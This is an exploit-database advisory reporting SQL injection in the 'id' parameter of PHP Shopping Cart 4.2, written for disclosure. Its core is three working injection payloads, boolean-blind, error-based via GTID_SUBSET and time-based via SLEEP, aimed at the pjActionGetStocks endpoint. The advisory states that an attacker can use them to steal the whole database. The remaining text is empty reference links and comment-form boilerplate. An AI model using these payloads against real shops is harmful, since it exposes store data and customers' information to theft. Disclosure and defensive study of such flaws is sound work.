PHP Shopping Cart-4.2 Multiple-SQLi

Risk: Medium
Local: No
Remote: Yes

## Title: PHP Shopping Cart-4.2 Multiple-SQLi ## Author: nu11secur1ty ## Date: 09/13/2023 ## Vendor: ## Software: ## Reference: ## Description: The `id` parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. The attacker easily can steal all information from the database of this web application! WARNING! All of you: Be careful what you buy! This will be your responsibility! STATUS: HIGH-CRITICAL Vulnerability [+]Payload: ```mysql --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: controller=pjFront&action=pjActionGetStocks&id=1') OR NOT 3795=3795-- sRcp&session_id= Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: controller=pjFront&action=pjActionGetStocks&id=1') AND GTID_SUBSET(CONCAT(0x71717a6b71,(SELECT (ELT(3820=3820,1))),0x7178627871),3820)-- kQZA&session_id= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: controller=pjFront&action=pjActionGetStocks&id=1') AND (SELECT 2625 FROM (SELECT(SLEEP(5)))nVyA)-- FGLs&session_id= --- ``` ## Reproduce: [href]( ## Proof and Exploit: [href]( ## Time spent: 00:37:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at and 0day Exploit DataBase home page: hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <>

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023,


Back to Top